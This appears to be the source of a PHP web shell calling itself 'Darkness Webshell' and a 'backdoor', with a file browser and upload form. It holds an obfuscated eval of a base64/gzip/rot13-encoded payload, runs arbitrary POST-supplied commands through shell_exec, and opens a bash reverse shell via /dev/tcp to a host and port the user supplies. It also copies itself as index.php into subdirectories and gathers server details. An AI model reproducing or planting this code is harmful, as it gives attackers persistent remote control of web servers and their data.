$info['filename'], 'ext' => $info['extension'], 'size' => setSize($stat['size'], 2), 'date' => date("Y-m-d, H:i", $stat['mtime']) ); # adding size to total directory size $dirSize += filesize($itemName); } else if (is_dir($itemName)) { # directory: adding directory information to directory array $stat = stat($itemName); $dirList[] = array( 'name' => $itemName, 'date' => date("Y-m-d, H:i", $stat['mtime']) ); # copying script to subdirectory if no index file is present if ( $copyToSubs && !is_file( $itemName . DIRECTORY_SEPARATOR . "index.php" ) && !is_file( $itemName . DIRECTORY_SEPARATOR . "index.html" ) && !is_file( $itemName . DIRECTORY_SEPARATOR . "index.htm" ) && !in_array( $itemName, $copyToSubsExcluded ) ) { copy("index.php", $itemName . DIRECTORY_SEPARATOR . "index.php"); } } } } } closedir($dh); # sorting lists alphabetically usort($fileList, 'compareName'); usort($dirList, 'compareName'); # formatting directory size $dirSize = setSize($dirSize, 2); # selecting a colour for the layout $colour = $colours[array_rand($colours)]; function setSize($size, $decimals) { # translating size in bytes into more readable string $scale = array('B ', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $scaleCount = 0; while ($size > 1024) { $size /= 1024; $scaleCount++; } return sprintf("%.2f %s", $size, $scale[$scaleCount]); } function compareName($a, $b) { # name comparison for usort return strnatcasecmp($a['name'], $b['name']); }; eval(gzuncompress(base64_decode(str_rot13('rWlqHJSYjmND/FgUXI4Y2mdMVTkHC0wSbrOpc19dPIy7p5H2vJaXAfG/ogcBHCMAFZwqr7y7YmyKDDurHqqxCWsS0sVyJvM4g1bgLxk9BQhQRkGPZNFHNa24Ogjnb2dRnE/uQAmTqaD+KsH1QLYCi9Kf7wSrLse1P15TG89EiTYCl7xyaOyfvcYLTkzJFJSVzAdewJnnIZxm8ckK4DmNfsi0Kh/Sdzd+T70IMghfz5e0xE9yfteBW5AYCK6/RZR4dUwEUtgenJG2Oa3sAhIyGDBjvfFeiiCrXgwZxWpp3jwuSoDk8Mk0ymx3ipoDUOEAtFgISux3uEGOsewo7LLodngub0fFzpjcg/nkVeBIrIrBeDr02ASdO7MFoA0HMp4+TgVUY0UMRJ6GJdrcKo4/t5/E3p4sbwwO9ypjGqOHvtyr2KtNW2ECqACAcQe8i1ecDuwNr5k9N53ghVj=')))); $version = phpversion(); $server_ip = $_SERVER['SERVER_ADDR']; $df = disk_free_space("/"); $username = posix_getpwuid(posix_geteuid())['name']; $ccc = getcwd(); function isa_bytes_to_gb($df, $decimal_places = 1 ){ return number_format($df / 1073741824, $decimal_places); } $gigabytes = isa_bytes_to_gb($df); $user_agent = $_SERVER['HTTP_USER_AGENT']; function getOS() { global $user_agent; $os_platform = "Unknown OS Platform"; $os_array = array( '/windows nt 10/i' => 'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ); foreach ($os_array as $regex => $value) if (preg_match($regex, $user_agent)) $os_platform = $value; return $os_platform; } $user_os = getOS(); $device_details = "Operating System: ".$user_os.""; if (!empty($_POST['cmd'])) { $cmd = shell_exec($_POST['cmd']); } if (!empty($_POST['nc']) && !empty($_POST['port'])) { $netcat = shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/".$_POST['nc']."/".$_POST['port']." 0>&1'"); echo $_POST['nc']; echo $_POST['port']; } ?> ?> { Darkness }

שלום

Darkness Webshell

PHP Tools and backdoor



Output :

        


Output:

No result.

NC

NETCAT

Traveler

Files list

Upload

UPLOAD FILES





this directory is empty\n"; } else { echo " "; # linking to directories foreach ($dirList as $dir) { echo "\n \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " "; } # linking to files foreach ($fileList as $file) { $link = $file['name'] . ($file['ext'] == "" ? "" : "." . $file['ext']); echo "\n \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " "; } echo "\n
{$dir['name']}{$dir['date']}
{$file['name']}" . ($file['ext'] == "" ? "" : " {$file['ext']}") . "" . substr($file['size'], 0, -3) . "" . substr($file['size'], -2, 2) . "{$file['date']}
\n"; } ?>